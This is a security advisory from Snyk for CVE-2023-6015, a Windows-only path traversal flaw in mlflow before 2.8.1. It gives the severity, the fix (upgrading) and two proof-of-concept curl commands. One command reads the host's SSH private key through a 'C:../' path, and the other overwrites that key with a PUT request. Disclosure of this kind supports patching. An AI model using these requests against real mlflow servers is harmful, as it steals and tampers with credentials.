Improper Limitation of a Pathname to a Restricted Directory Affecting mlflow package, versions [,2.8.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Limitation of a Pathname to a Restricted Directory vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-6067567
  • published17 Nov 2023
  • disclosed16 Nov 2023
  • credithaxatron

Introduced: 16 Nov 2023

CVE-2023-6015  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.8.1 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory due to checks bypass in handlers.py. An attacker can break out of the root directory on Windows, being able to read or write sensitive data from the host (which can include the SSH key).

Note:

This issue is only exploitable on Windows OS.

PoC

curl -vv "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"
curl -X PUT --data-binary test "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"

CVSS Scores

version 3.1